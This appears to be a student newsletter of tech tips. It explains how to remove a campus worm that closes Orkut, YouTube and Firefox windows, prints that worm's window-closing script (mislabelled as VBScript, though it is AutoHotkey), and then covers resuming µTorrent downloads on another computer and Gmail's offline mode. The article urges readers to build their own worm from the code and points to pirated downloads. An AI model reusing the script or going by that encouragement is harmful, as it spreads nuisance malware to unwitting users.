ORKUT IS BANNED you fool

“Orkut is banned you fool, the administrators didnt write this program guess who did?? MUHAHAHA!!”

Sounds familiar??? This happens every time you try to open orkut in college. Though you feel frustrated for not being able to do scrapping but you are also left baffled, who wrote this program?

You guess it’s the 4^th year boys who did this and admire their dexterity for writing such a program.

Moreover, you get a similar kinda message when you try to use Firefox, “USE INTERNET EXPLORER YOU DOPE, I DNT HATE MOZILLA BUT USE IE OR ELSE…”

So what is it? Is it made by the 4^th year top-shot coders? Is it embedded somewhere in the nasty internet servers of our college? And the million $ question-“is there a way out?”

We’ill dig out the details for you.

Reality Bites

It’s just a worm (like sujin.np) written in VBScript by a crazy Indian programmer (not from our college, so stop blaming your seniors) who deserves to rot in his/her grave! Cleaning this worm out is a simple step-by-step process:

• First press Control-Alt-Delete (Ctrl-Alt-Del is called the three finger exercise in Windows so do it)
• 
• Click Processes and look for “svchost.exe” where user name is “USER” or “your name”, NOT “SYSTEM” or “NETWORK SERVICE” or “LOCAL SERVICE” There will be two svchost processes. End both of them.
• Now open command prompt (cmd) and point to C:\>
• Here, type attrib -s -r -h heap41a /s /d and press enter
• Now Open C:\ and delete the heap41a folder (it’s in hidden state)
• Finally, remove C:\heap41a\svchost.exe shortcut from (Start > All Programs >Startup)
• That’s all!!!

Pendrive(mother of all problems)

• This worm enjoys its hefty circulation owing to gullible pendrive users. So it’s necessary to clean the pendrive before and after its use on any computer. It’s again a simple step-by-step process.
• Plug in the pen drive (on a clean computer). Make sure you DON’T DOUBLE CLICK on the pen drive.
• Right Click on the pen drive and Click “Search” from the menu that appears (Don’t click Autoplay or Open), all belong to the virus and clicking any of them will infect the computer with the virus again.
• Type “*.exe ” in the first box (all or part of the filename)
• Click “More advanced options” and tick Search hidden files and folders
• Click Search button
• In the search results, look for application file types with folder icon
• These .exe files are trying to disguise themselves as folders to fool you into clicking them, so they most probably are viruses!!!
• Delete them and check the pen drive again.
• You’re safe now!!!

The worm

As previously told, this worm is written in VB Script which is located in C:\heap41a. Here, have a sneak peek at the code.

This is the Script of the worm (The insane code…)

#persistent

#notrayicon

settimer,ban,2000

return

ban:

WinGetActiveTitle, ed

ifinstring,ed,orkut

{

winclose %ed%

soundplay,C:\heap41a\2.mp3

msgbox,262160,ORKUT IS BANNED,Orkut is banned you fool`,The

administrators didnt write this program guess who did??

`r`r MUHAHAHA!!,30

return

}

ifinstring,ed,youtube

{

winclose %ed%

soundplay,C:\heap41a\2.mp3

msgbox,262160,youtube IS BANNED,youtube is banned you fool`,The

administrators didnt write this program guess who did??

`r`r MUHAHAHA!!,30

return

}

ifinstring,ed,Mozilla Firefox

{

winclose %ed%

msgbox,262160,USE INTERNET EXPLORER YOU DOPE,I DNT HATE MOZILLA

BUT USE IE `r OR ELSE...,30

return

}

ifwinactive ahk_class IEFrame

{

ControlGetText,ed,edit1,ahk_class IEFrame

ifinstring,ed,orkut

{

winclose ahk_class IEFrame

soundplay,C:\heap41a\2.mp3

msgbox,262160,ORKUT IS BANNED,Orkut is banned you fool`,The

administrators didnt write this program guess who did??

`r`r MUHAHAHA!!,30

}

}

If you get some time, try and build a worm of your own using the above code.

Only for ethical use!!!

µTorrent: a how to do it guide

 

Picture this: you have a 4.18GB torrent to download (lets say 30 episodes of X-Files). You are using the Wi-Fi internet in the hostel and after several weeks you realize that the download is just half complete. Now you have your summer vacations after the semesters and you are desperate to go home and enjoy mama’s food. Back home, you have broadband and wonder if its possible to take the 50% complete torrent files, courtesy: hostel Wi-Fi, and resume downloading on another computer at home? Its possible anytime to “resume” a download on “one” machine using any download manager. But is it possible to “resume” download on “another” computer? Affirmative! µTorrent gives you that advantage.

Picture 2: you need to format your computer and many of your torrents are in half complete state. You are afraid that if you’ll format, you’ll have to start downloading torrents from scratch. Is there a way out? There is! You can transfer incomplete torrents from 1^st computer to 2^nd (another) computer.

Transferring incomplete files from 1st computer

Copy the following files from 1^st computer:

1. The incomplete actual downloaded file (not the *.torrent file)

2. The “µTorrent” folder from C:\Documents and Settings\<username>\Application Data

Setting up torrent on 2st computer

1. Install µTorrent on the second machine and paste (replace) the “µTorrent” folder in C:\Documents and Settings\<username>\Application Data of the 2nd computer

2. Paste the incomplete downloaded files anywhere in the 2nd computer.

3. Now open µTorrent. You’ll see that the torrents are showing red crosses before them.

4. Right click any torrent, and click the third last option, “Advanced”>Set Download Location… Here set the path of the location where you just pasted the incomplete files.

5. Voila! The torrent resumes, from where you last left! i.e from 50%

This way you can save precious hours of downloading even when you have to switch from one computer to another

Tips

· Always use µTorrent for downloading torrents as other clients don’t provide similar facility.

· Don’t use FlashGet for torrents as it suffixes *.jc to an incomplete file, and renders a file useless if not completely downloaded.

· Use www.isohunt.com for searching torrents

Offline Gmail: New in Gmail Lab

The buzz

Wish Gmail could work

like Outlook Express when offline? The gods just heard you(read Google geeks), so they launched another exciting feature this Tuesday (27^th jan) “Offline Gmail”

Where you can store a copy of all your g-mails on your HDD. Well you can do that in Outlook too just by putting gmail’s pop and smtp address… so whats the difference?

 

The catch here is that you don’t lose the gmail interface. You can just type www.gmail.com in the browser even when offline and switch into the gmail interface just like you’re used to. You can view the cached copy of mails till last synchronization.

 

Result= the same browser-based Gmail experience even when offline

 

How is it done?

Gmail uses “Gears”

(www.gears.google.com) which is a browser technology, to download a local cache of mails. Gears allow web applications to interact naturally with the desktop.

 

Features…

You can read and write messages, star and label them, and do all of the things you're

 used to doing while reading your webmail online. Any messages you send while offline will be placed in your outbox and automatically sent the next time Gmail detects a connection.

 

So if you have squirrels at home that love to chew your internet wire, Offline Gmail is for you!

How to get started

1. Click the Labs tab 
2. Select Enable next to Offline Gmail.
3. Click Save Changes.
4. After your browser reloads, you'll see a new "Offline^0.1" link in the upper righthand corner of your account, next to your username. Click this link to start the offline set up process and download Gears if you don't already have it.

Happy Mailings!